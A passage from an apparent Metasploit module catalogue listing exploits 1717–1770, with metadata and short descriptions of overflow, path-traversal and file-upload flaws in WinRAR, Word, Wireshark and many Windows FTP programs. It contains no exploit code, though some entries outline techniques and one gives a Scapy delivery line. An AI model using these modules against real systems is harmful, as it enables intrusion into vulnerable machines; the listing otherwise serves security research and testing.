  Space: 4000
  Avoid: 0 characters

Description:
  This module exploits a stack based buffer overflow in Winamp 5.55. 
The flaw
  exists in the gen_ff.dll and occurs while parsing a specially 
crafted MAKI file,
  where memmove is used in an insecure way with user controlled data.

  To exploit the vulnerability the attacker must convince the victim 
to install the
  generated mcvcore.maki file in the "scripts" directory of the 
default "Bento" skin,
  or generate a new skin using the crafted mcvcore.maki file. The 
module has been
  tested successfully on Windows XP SP3 and Windows 7 SP1.

End Exploit Number 1717

Begin Exploit Number 1718
       Name: RARLAB WinRAR ACE Format Input Validation Remote Code 
Execution
```

```
     Module: exploit/windows/fileformat/winrar_ace
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-02-05

Payload information:

Description:
  In WinRAR versions prior to and including 5.61, there is path
traversal vulnerability
  when crafting the filename field of the ACE format (in UNACEV2.dll).
When the filename
  field is manipulated with specific patterns, the destination
(extraction) folder is
  ignored, thus treating the filename as an absolute path. This module
will attempt to
  extract a payload to the startup folder of the current user. It is
limited such that
  we can only go back one folder. Therefore, for this exploit to work
properly, the user
  must extract the supplied RAR file from one folder within the user
profile folder
  (e.g. Desktop or Downloads). User restart is required to gain a
shell.

End Exploit Number 1718

Begin Exploit Number 1719
       Name: WinRAR CVE-2023-38831 Exploit
     Module: exploit/windows/fileformat/winrar_cve_2023_38831
   Platform: Windows
       Arch: x64, x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2023-08-23

Payload information:

Description:
  This module exploits a vulnerability in WinRAR (CVE-2023-38831).
When a user opens a crafted RAR file and its
  embedded document, the decoy document is executed, leading to code
execution.

End Exploit Number 1719
```

```
Begin Exploit Number 1720
       Name: WinRAR Filename Spoofing
     Module: exploit/windows/fileformat/winrar_name_spoofing
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2009-09-28

Payload information:
  Space: 4096

Description:
  This module abuses a filename spoofing vulnerability in WinRAR. The 
vulnerability exists
  when opening ZIP files. The file names showed in WinRAR when opening 
a ZIP file come from
  the central directory, but the file names used to extract and open 
contents come from the
  Local File Header. This inconsistency allows to spoof file names 
when opening ZIP files
  with WinRAR, which can be abused to execute arbitrary code, as 
exploited in the wild in
  March 2014

End Exploit Number 1720

Begin Exploit Number 1721
       Name: Wireshark wiretap/mpeg.c Stack Buffer Overflow
     Module: exploit/windows/fileformat/wireshark_mpeg_overflow
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2014-03-20

Payload information:
  Space: 600
  Avoid: 1 characters

Description:
  This module triggers a stack buffer overflow in Wireshark <= 
1.8.12/1.10.5
  by generating a malicious file.

End Exploit Number 1721

Begin Exploit Number 1722
```

```
       Name: Wireshark packet-dect.c Stack Buffer Overflow (local)
     Module: exploit/windows/fileformat/wireshark_packet_dect
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2011-04-18

Payload information:
  Space: 936

Description:
  This module exploits a stack buffer overflow in Wireshark <= 1.4.4
  When opening a malicious .pcap file in Wireshark, a stack buffer 
occurs,
  resulting in arbitrary code execution.

  Note: To exploit the vulnerability remotely with Scapy: 
sendp(rdpcap("file")).

End Exploit Number 1722

Begin Exploit Number 1723
       Name: WM Downloader 3.1.2.2 Buffer Overflow
     Module: exploit/windows/fileformat/wm_downloader_m3u
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2010-07-28

Payload information:
  Space: 1000
  Avoid: 3 characters

Description:
  This module exploits a buffer overflow in WM Downloader v3.1.2.2. 
When
  the application is used to import a specially crafted m3u file, a 
buffer overflow occurs
  allowing arbitrary code execution.

End Exploit Number 1723

Begin Exploit Number 1724
       Name: Microsoft Office Word MSDTJS
     Module: exploit/windows/fileformat/word_msdtjs_rce
   Platform: Windows
```

```
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2022-05-29

Payload information:

Description:
  This module generates a malicious Microsoft Word document that when
loaded, will leverage the remote template
  feature to fetch an `HTML` document and then use the `ms-msdt`
scheme to execute `PowerShell` code.

End Exploit Number 1724

Begin Exploit Number 1725
       Name: Microsoft Office Word Malicious MSHTML RCE
     Module: exploit/windows/fileformat/word_mshtml_rce
   Platform: Windows
       Arch: x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2021-09-23

Payload information:

Description:
  This module creates a malicious docx file that when opened in Word
on a vulnerable Windows
  system will lead to code execution. This vulnerability exists
because an attacker can
  craft a malicious ActiveX control to be used by a Microsoft Office
document that hosts
  the browser rendering engine.

End Exploit Number 1725

Begin Exploit Number 1726
       Name: Xenorate 2.50 (.xpl) Universal Local Buffer Overflow
(SEH)
     Module: exploit/windows/fileformat/xenorate_xpl_bof
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2009-08-19
```

```
Payload information:
  Space: 5100
  Avoid: 1 characters

Description:
  This module exploits a stack buffer overflow in Xenorate 2.50
  by creating a specially crafted xpl file.

End Exploit Number 1726

Begin Exploit Number 1727
       Name: Xion Audio Player 1.0.126 Unicode Stack Buffer Overflow
     Module: exploit/windows/fileformat/xion_m3u_sehbof
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2010-11-23

Payload information:
  Avoid: 18 characters

Description:
  This module exploits a stack buffer overflow in Xion Audio Player
prior to version
  1.0.126. The vulnerability is triggered when opening a malformed M3U
file that
  contains an overly long string. This results in overwriting a
  structured exception handler record.

End Exploit Number 1727

Begin Exploit Number 1728
       Name: xRadio 0.95b Buffer Overflow
     Module: exploit/windows/fileformat/xradio_xrl_sehbof
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2011-02-08

Payload information:
  Space: 1000
  Avoid: 3 characters

Description:
  This module exploits a buffer overflow in xRadio 0.95b.
  Using the application to import a specially crafted xrl file,
  a buffer overflow occurs allowing arbitrary code execution.

End Exploit Number 1728

Begin Exploit Number 1729
       Name: Zahir Enterprise Plus 6 Stack Buffer Overflow
     Module: exploit/windows/fileformat/zahir_enterprise_plus_csv
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2018-09-28

Payload information:
  Space: 5000
  Avoid: 5 characters

Description:
  This module exploits a stack buffer overflow in Zahir Enterprise 
Plus version 6 build 10b and below.
  The vulnerability is triggered when opening a CSV file containing 
CR/LF and overly long string characters
  via Import from other File. This results in overwriting a structured 
exception handler record.

End Exploit Number 1729

Begin Exploit Number 1730
       Name: Zinf Audio Player 2.2.1 (PLS File) Stack Buffer Overflow
     Module: exploit/windows/fileformat/zinfaudioplayer221_pls
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2004-09-24

Payload information:
  Space: 800
  Avoid: 7 characters

Description:
  This module exploits a stack-based buffer overflow in the Zinf Audio 
Player 2.2.1.
  An attacker must send the file to victim and the victim must open 
the file.
  Alternatively it may be possible to execute code remotely via an 
embedded
  PLS file within a browser, when the PLS extension is registered to
```

```
Zinf.
  This functionality has not been tested in this module.

End Exploit Number 1730

Begin Exploit Number 1731
       Name: ISS PAM.dll ICQ Parser Buffer Overflow
     Module: exploit/windows/firewall/blackice_pam_icq
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2004-03-18

Payload information:
  Space: 469
  Avoid: 1 characters

Description:
  This module exploits a stack buffer overflow in the ISS products 
that use
  the iss-pam1.dll ICQ parser (Blackice/RealSecure). Successful 
exploitation
  will result in arbitrary code execution as LocalSystem. This exploit
  only requires 1 UDP packet, which can be both spoofed and sent to a 
broadcast
  address.

  The ISS exception handler will recover the process after each 
overflow, giving
  us the ability to bruteforce the service and exploit it multiple 
times.

End Exploit Number 1731

Begin Exploit Number 1732
       Name: Kerio Firewall 2.1.4 Authentication Packet Overflow
     Module: exploit/windows/firewall/kerio_auth
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2003-04-28

Payload information:
  Space: 800
  Avoid: 1 characters
```

```
Description:
  This module exploits a stack buffer overflow in Kerio Personal
Firewall
  administration authentication process. This module has only been
tested
  against Kerio Personal Firewall 2 (2.1.4).

End Exploit Number 1732

Begin Exploit Number 1733
       Name: 32bit FTP Client Stack Buffer Overflow
     Module: exploit/windows/ftp/32bitftp_list_reply
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2010-10-12

Payload information:
  Avoid: 3 characters

Description:
  This module exploits a stack buffer overflow in 32bit ftp client,
triggered when trying to
  download a file that has an overly long filename.

End Exploit Number 1733

Begin Exploit Number 1734
       Name: 3Com 3CDaemon 2.0 FTP Username Overflow
     Module: exploit/windows/ftp/3cdaemon_ftp_user
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2005-01-04

Payload information:
  Space: 674
  Avoid: 15 characters

Description:
  This module exploits a vulnerability in the 3Com 3CDaemon
  FTP service. This package is being distributed from the 3Com
  web site and is recommended in numerous support documents.
  This module uses the USER command to trigger the overflow.

End Exploit Number 1734
```

```
Begin Exploit Number 1735
       Name: AASync v2.2.1.0 (Win32) Stack Buffer Overflow (LIST)
     Module: exploit/windows/ftp/aasync_list_reply
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2010-10-12

Payload information:
  Avoid: 6 characters

Description:
  This module exploits a stack buffer overflow in AASync v2.2.1.0, 
triggered when
  processing the response on a LIST command. During the overflow, a 
structured exception
  handler record gets overwritten.

End Exploit Number 1735

Begin Exploit Number 1736
       Name: Ability Server 2.34 STOR Command Stack Buffer Overflow
     Module: exploit/windows/ftp/ability_server_stor
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2004-10-22

Payload information:
  Space: 1000
  Avoid: 2 characters

Description:
  This module exploits a stack-based buffer overflow in Ability Server 
2.34.
  Ability Server fails to check input size when parsing 'STOR' and 
'APPE' commands,
  which leads to a stack based buffer overflow. This plugin uses the 
'STOR' command.

  The vulnerability has been confirmed on version 2.34 and has also 
been reported
  in version 2.25 and 2.32. Other versions may also be affected.

End Exploit Number 1736
```

```
Begin Exploit Number 1737
       Name: AbsoluteFTP 1.9.6 - 2.2.10 LIST Command Remote Buffer
Overflow
     Module: exploit/windows/ftp/absolute_ftp_list_bof
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2011-11-09

Payload information:
  Avoid: 5 characters

Description:
  This module exploits VanDyke Software AbsoluteFTP by overflowing
  a filename buffer related to the LIST command.

End Exploit Number 1737

Begin Exploit Number 1738
       Name: Ayukov NFTP FTP Client Buffer Overflow
     Module: exploit/windows/ftp/ayukov_nftp
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2017-10-21

Payload information:
  Avoid: 5 characters

Description:
  This module exploits a stack-based buffer overflow vulnerability
against Ayukov NFTPD FTP
  Client 2.0 and earlier. By responding with a long string of data for
the SYST request, it
  is possible to cause a denail-of-service condition on the FTP
client, or arbitrary remote
  code exeuction under the context of the user if successfully
exploited.

End Exploit Number 1738

Begin Exploit Number 1739
       Name: BisonWare BisonFTP Server Buffer Overflow
     Module: exploit/windows/ftp/bison_ftp_bof
   Platform: Windows
```

```
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2011-08-07

Payload information:
  Space: 310
  Avoid: 3 characters

Description:
  BisonWare BisonFTP Server 3.5 is prone to an overflow condition.
  This module exploits a buffer overflow vulnerability in the said
  application.

End Exploit Number 1739

Begin Exploit Number 1740
       Name: Cesar FTP 0.99g MKD Command Buffer Overflow
     Module: exploit/windows/ftp/cesarftp_mkd
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2006-06-12

Payload information:
  Space: 250
  Avoid: 4 characters

Description:
  This module exploits a stack buffer overflow in the MKD verb in
CesarFTP 0.99g.

  You must have valid credentials to trigger this vulnerability. Also,
you
  only get one chance, so choose your target carefully.

End Exploit Number 1740

Begin Exploit Number 1741
       Name: ComSndFTP v1.3.7 Beta USER Format String (Write4)
Vulnerability
     Module: exploit/windows/ftp/comsnd_ftpd_fmtstr
   Platform: Windows
       Arch: x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2012-06-08

Payload information:
  Space: 1000
  Avoid: 3 characters

Description:
  This module exploits the ComSndFTP FTP Server version 1.3.7 beta by 
sending a specially
  crafted format string specifier as a username. The crafted username 
is sent to the server to
  overwrite the hardcoded function pointer from Ws2_32.dll!WSACleanup. 
Once this function pointer
  is triggered, the code bypasses dep and then repairs the pointer to 
execute arbitrary code.
  The SEH exit function is preferred so that the administrators are 
not left with an unhandled
  exception message. When using the meterpreter payload, the process 
will never die, allowing
  for continuous exploitation.

End Exploit Number 1741

Begin Exploit Number 1742
       Name: BolinTech Dream FTP Server 1.02 Format String
     Module: exploit/windows/ftp/dreamftp_format
   Platform: Windows
       Arch: x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2004-03-03

Payload information:
  Space: 1000
  Avoid: 3 characters

Description:
  This module exploits a format string overflow in the BolinTech
  Dream FTP Server version 1.02. Based on the exploit by SkyLined.

End Exploit Number 1742

Begin Exploit Number 1743
       Name: Easy File Sharing FTP Server 2.0 PASS Overflow
     Module: exploit/windows/ftp/easyfilesharing_pass
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
```

```
       Rank: Average
  Disclosed: 2006-07-31

Payload information:
  Space: 600
  Avoid: 14 characters

Description:
  This module exploits a stack buffer overflow in the Easy File
Sharing 2.0
  service. By sending an overly long password, an attacker can execute
  arbitrary code.

End Exploit Number 1743

Begin Exploit Number 1744
       Name: EasyFTP Server CWD Command Stack Buffer Overflow
     Module: exploit/windows/ftp/easyftp_cwd_fixret
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2010-02-16

Payload information:
  Space: 450
  Avoid: 4 characters

Description:
  This module exploits a stack-based buffer overflow in EasyFTP Server
1.7.0.11
  and earlier. EasyFTP fails to check input size when parsing 'CWD'
commands, which
  leads to a stack based buffer overflow.  EasyFTP allows anonymous
access by
  default; valid credentials are typically unnecessary to exploit this
vulnerability.

  After version 1.7.0.12, this package was renamed "UplusFtp".

  This exploit utilizes a small piece of code that I\'ve referred to
as 'fixRet'.
  This code allows us to inject of payload of ~500 bytes into a 264
byte buffer by
  'fixing' the return address post-exploitation.  See references for
more information.

End Exploit Number 1744
```

```
Begin Exploit Number 1745
       Name: EasyFTP Server LIST Command Stack Buffer Overflow
     Module: exploit/windows/ftp/easyftp_list_fixret
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2010-07-05

Payload information:
  Space: 512
  Avoid: 5 characters

Description:
  This module exploits a stack-based buffer overflow in EasyFTP Server 
1.7.0.11.
  credit goes to Karn Ganeshan.

  NOTE: Although, this is likely to exploit the same vulnerability as 
the
  'easyftp_cwd_fixret' exploit, it uses a slightly different vector.

End Exploit Number 1745

Begin Exploit Number 1746
       Name: EasyFTP Server MKD Command Stack Buffer Overflow
     Module: exploit/windows/ftp/easyftp_mkd_fixret
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2010-04-04

Payload information:
  Space: 512
  Avoid: 5 characters

Description:
  This module exploits a stack-based buffer overflow in EasyFTP Server 
1.7.0.11
  and earlier. EasyFTP fails to check input size when parsing 'MKD' 
commands, which
  leads to a stack based buffer overflow.

  NOTE: EasyFTP allows anonymous access by default. However, in order 
to access the
  'MKD' command, you must have access to an account that can create 
directories.
```

```
  After version 1.7.0.12, this package was renamed "UplusFtp".

  This exploit utilizes a small piece of code that I\'ve referred to
as 'fixRet'.
  This code allows us to inject of payload of ~500 bytes into a 264
byte buffer by
  'fixing' the return address post-exploitation.  See references for
more information.

End Exploit Number 1746

Begin Exploit Number 1747
       Name: FileCopa FTP Server Pre 18 Jul Version
     Module: exploit/windows/ftp/filecopa_list_overflow
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2006-07-19

Payload information:
  Space: 400
  Avoid: 13 characters

Description:
  This module exploits the buffer overflow found in the LIST command
  in fileCOPA FTP server pre 18 Jul 2006 version discovered by
www.appsec.ch

End Exploit Number 1747

Begin Exploit Number 1748
       Name: FileWrangler 5.30 Stack Buffer Overflow
     Module: exploit/windows/ftp/filewrangler_list_reply
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2010-10-12

Payload information:
  Space: 3000
  Avoid: 5 characters

Description:
  This module exploits a buffer overflow in the FileWrangler client
  that is triggered when the client connects to a FTP server and lists
  the directory contents, containing an overly long directory name.

End Exploit Number 1748

Begin Exploit Number 1749
       Name: Free Float FTP Server USER Command Buffer Overflow
     Module: exploit/windows/ftp/freefloatftp_user
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2012-06-12

Payload information:
  Space: 444
  Avoid: 3 characters

Description:
  Freefloat FTP Server is prone to an overflow condition. It
  fails to properly sanitize user-supplied input resulting in a
  stack-based buffer overflow. With a specially crafted 'USER'
  command, a remote attacker can potentially have an unspecified
  impact.

End Exploit Number 1749

Begin Exploit Number 1750
       Name: FreeFloat FTP Server Arbitrary File Upload
     Module: exploit/windows/ftp/freefloatftp_wbem
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-12-07

Payload information:

Description:
  This module abuses multiple issues in FreeFloat: 1. No credential is
actually
  needed to login; 2. User's default path is in C:\, and this cannot
be changed;
  3. User can write to anywhere on the server's file system.  As a
result of these
  poor implementations, a malicious user can just log in and then
upload files,
  and let WMI (Management Instrumentation service) to execute the
payload uploaded.
```

```
End Exploit Number 1750

Begin Exploit Number 1751
       Name: freeFTPd PASS Command Buffer Overflow
     Module: exploit/windows/ftp/freeftpd_pass
   Platform: Windows
       Arch: x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2013-08-20

Payload information:
  Avoid: 3 characters

Description:
  freeFTPd 1.0.10 and below contains an overflow condition that is
triggered as
  user-supplied input is not properly validated when handling a
specially crafted
  PASS command. This may allow a remote attacker to cause a buffer
overflow,
  resulting in a denial of service or allow the execution of arbitrary
code.

  freeFTPd must have an account set to authorization anonymous user
account.

End Exploit Number 1751

Begin Exploit Number 1752
       Name: freeFTPd 1.0 Username Overflow
     Module: exploit/windows/ftp/freeftpd_user
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2005-11-16

Payload information:
  Space: 800
  Avoid: 4 characters

Description:
  This module exploits a stack buffer overflow in the freeFTPd
  multi-protocol file transfer service. This flaw can only be
  exploited when logging has been enabled (non-default).
```

```
End Exploit Number 1752

Begin Exploit Number 1753
       Name: FTPGetter Standard v3.55.0.05 Stack Buffer Overflow (PWD)
     Module: exploit/windows/ftp/ftpgetter_pwd_reply
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2010-10-12

Payload information:
  Avoid: 6 characters

Description:
  This module exploits a buffer overflow in FTPGetter Standard 
v3.55.0.05 ftp client.
  When processing the response on a PWD command, a stack based buffer 
overflow occurs.
  This leads to arbitrary code execution when a structured exception 
handler gets
  overwritten.

End Exploit Number 1753

Begin Exploit Number 1754
       Name: FTPPad 1.2.0 Stack Buffer Overflow
     Module: exploit/windows/ftp/ftppad_list_reply
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2010-10-12

Payload information:
  Space: 3000
  Avoid: 9 characters

Description:
  This module exploits a stack buffer overflow FTPPad 1.2.0 ftp 
client. The overflow is
  triggered when the client connects to a FTP server which sends an 
overly long directory
  and filename in response to a LIST command.

  This will cause an access violation, and will eventually overwrite 
the saved extended
  instruction pointer.  Payload can be found at EDX+5c and ESI+5c, so
```

```
a little pivot/
  sniper was needed to make this one work.

End Exploit Number 1754

Begin Exploit Number 1755
       Name: FTPShell 5.1 Stack Buffer Overflow
     Module: exploit/windows/ftp/ftpshell51_pwd_reply
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2010-10-12

Payload information:
  Avoid: 6 characters

Description:
  This module exploits a stack buffer overflow in FTPShell 5.1. The 
overflow gets
  triggered when the ftp client tries to process an overly long 
response to a PWD
  command. This will overwrite the saved EIP and structured exception 
handler.

End Exploit Number 1755

Begin Exploit Number 1756
       Name: FTPShell client 6.70 (Enterprise edition) Stack Buffer 
Overflow
     Module: exploit/windows/ftp/ftpshell_cli_bof
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2017-03-04

Payload information:
  Space: 400
  Avoid: 5 characters

Description:
  This module exploits a buffer overflow in the FTPShell client 6.70 
(Enterprise
  edition) allowing remote code execution.

End Exploit Number 1756
```

```
Begin Exploit Number 1757
       Name: FTP Synchronizer Professional 4.0.73.274 Stack Buffer
Overflow
     Module: exploit/windows/ftp/ftpsynch_list_reply
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2010-10-12

Payload information:
  Avoid: 4 characters

Description:
  This module exploits a stack buffer overflow vulnerability in FTP
Synchronizer Pro
  version 4.0.73.274 The overflow gets triggered by sending an overly
long filename to
  the client in response to a LIST command.
  The LIST command gets issued when doing a preview or when you have
just created a new
  sync profile and allow the tool to see the differences.
  This will overwrite a structured exception handler and trigger an
access violation.

End Exploit Number 1757

Begin Exploit Number 1758
       Name: Gekko Manager FTP Client Stack Buffer Overflow
     Module: exploit/windows/ftp/gekkomgr_list_reply
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2010-10-12

Payload information:
  Avoid: 6 characters

Description:
  This module exploits a buffer overflow in Gekko Manager ftp client,
triggered when
  processing the response received after sending a LIST request. If
this response contains
  a long filename, a buffer overflow occurs, overwriting a structured
exception handler.

End Exploit Number 1758
```

```
Begin Exploit Number 1759
       Name: GlobalSCAPE Secure FTP Server Input Overflow
     Module: exploit/windows/ftp/globalscapeftp_input
   Platform: Windows
       Arch: 
 Privileged: No
    License: BSD License
       Rank: Great
  Disclosed: 2005-05-01

Payload information:
  Space: 1000
  Avoid: 28 characters

Description:
  This module exploits a buffer overflow in the GlobalSCAPE Secure FTP 
Server.
  All versions prior to 3.0.3 are affected by this flaw. A valid user 
account (
  or anonymous access) is required for this exploit to work.

End Exploit Number 1759

Begin Exploit Number 1760
       Name: GoldenFTP PASS Stack Buffer Overflow
     Module: exploit/windows/ftp/goldenftp_pass_bof
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2011-01-23

Payload information:
  Space: 440
  Avoid: 3 characters

Description:
  This module exploits a vulnerability in the Golden FTP service, 
using the PASS
  command to cause a buffer overflow.  Please note that in order 
trigger the vulnerable
  code, the victim machine must have the "Show new connections" 
setting enabled.  By
  default, this option is unchecked.

End Exploit Number 1760

Begin Exploit Number 1761
```

```
       Name: HTTPDX tolog() Function Format String Vulnerability
     Module: exploit/windows/ftp/httpdx_tolog_format
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2009-11-17

Payload information:
  Space: 1024
  Avoid: 4 characters

Description:
  This module exploits a format string vulnerability in HTTPDX FTP 
server.
  By sending a specially crafted FTP command containing format 
specifiers, an
  attacker can corrupt memory and execute arbitrary code.

  By default logging is off for HTTP, but enabled for the 'moderator' 
user
  via FTP.

End Exploit Number 1761

Begin Exploit Number 1762
       Name: Konica Minolta FTP Utility 1.00 Post Auth CWD Command SEH 
Overflow
     Module: exploit/windows/ftp/kmftp_utility_cwd
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2015-08-23

Payload information:
  Space: 1500
  Avoid: 4 characters

Description:
  This module exploits an SEH overflow in Konica Minolta FTP Server 
1.00.
  Konica Minolta FTP fails to check input size when parsing 'CWD' 
commands, which
  leads to an SEH overflow.  Konica FTP allows anonymous access by 
default; valid
  credentials are typically unnecessary to exploit this vulnerability.
```

```
End Exploit Number 1762

Begin Exploit Number 1763
       Name: LabF nfsAxe 3.7 FTP Client Stack Buffer Overflow
     Module: exploit/windows/ftp/labf_nfsaxe
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2017-05-15

Payload information:
  Avoid: 3 characters

Description:
  This module exploits a buffer overflow in the LabF nfsAxe 3.7 FTP 
Client allowing remote
  code execution.

End Exploit Number 1763

Begin Exploit Number 1764
       Name: LeapFTP 3.0.1 Stack Buffer Overflow
     Module: exploit/windows/ftp/leapftp_list_reply
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2010-10-12

Payload information:
  Space: 1000
  Avoid: 1 characters

Description:
  This module exploits a buffer overflow in the LeapFTP 3.0.1 client.
  This issue is triggered when a file with a long name is downloaded/
opened.

End Exploit Number 1764

Begin Exploit Number 1765
       Name: LeapWare LeapFTP v2.7.3.600 PASV Reply Client Overflow
     Module: exploit/windows/ftp/leapftp_pasv_reply
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
```

```
       Rank: Normal
  Disclosed: 2003-06-09

Payload information:
  Space: 1000
  Avoid: 7 characters

Description:
  This module exploits a buffer overflow in the LeapWare LeapFTP 
v2.7.3.600
  client that is triggered through an excessively long PASV reply 
command. This
  module was ported from the original exploit by drG4njubas with minor 
improvements.

End Exploit Number 1765

Begin Exploit Number 1766
       Name: MS09-053 Microsoft IIS FTP Server NLST Response Overflow
     Module: exploit/windows/ftp/ms09_053_ftpd_nlst
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2009-08-31

Payload information:
  Space: 490
  Avoid: 7 characters

Description:
  This module exploits a stack buffer overflow flaw in the Microsoft 
IIS FTP
  service. The flaw is triggered when a special NLST argument is 
passed
  while the session has changed into a long directory path. For this 
exploit
  to work, the FTP server must be configured to allow write access to 
the
  file system (either anonymously or in conjunction with a real 
account)

End Exploit Number 1766

Begin Exploit Number 1767
       Name: NetTerm NetFTPD USER Buffer Overflow
     Module: exploit/windows/ftp/netterm_netftpd_user
   Platform: Windows
       Arch: 
```

```
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2005-04-26

Payload information:
  Space: 1000
  Avoid: 4 characters

Description:
  This module exploits a vulnerability in the NetTerm NetFTPD
  application. This package is part of the NetTerm package.
  This module uses the USER command to trigger the overflow.

End Exploit Number 1767

Begin Exploit Number 1768
       Name: Odin Secure FTP 4.1 Stack Buffer Overflow (LIST)
     Module: exploit/windows/ftp/odin_list_reply
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2010-10-12

Payload information:
  Avoid: 6 characters

Description:
  This module exploits a stack buffer overflow in Odin Secure FTP 4.1,
  triggered when processing the response on a LIST command. During the
overflow,
  a structured exception handler record gets overwritten.

End Exploit Number 1768

Begin Exploit Number 1769
       Name: Open-FTPD 1.2 Arbitrary File Upload
     Module: exploit/windows/ftp/open_ftpd_wbem
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-06-18

Payload information:
  Avoid: 1 characters
```

```
Description:
  This module exploits multiple vulnerabilities found in Open&Compact
FTP
  server. The software contains an authentication bypass vulnerability
and a
  arbitrary file upload vulnerability that allows a remote attacker to
write
  arbitrary files to the file system as long as there is at least one
user
  who has permission.

  Code execution can be achieved by first uploading the payload to the
remote
  machine as an exe file, and then upload another mof file, which
enables
  WMI (Management Instrumentation service) to execute the uploaded
payload.
  Please note that this module currently only works for Windows before
Vista.

End Exploit Number 1769

Begin Exploit Number 1770
       Name: Oracle 9i XDB FTP PASS Overflow (win32)
     Module: exploit/windows/ftp/oracle9i_xdb_ftp_pass
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2003-08-18

Payload information:
  Space: 800
  Avoid: 16 characters

Description:
  By passing an overly long string to the PASS command, a
  stack based buffer overflow occurs. David Litchfield, has
  illustrated multiple vulnerabilities in the Oracle 9i XML
  Database (XDB), during a seminar on "Variations in exploit
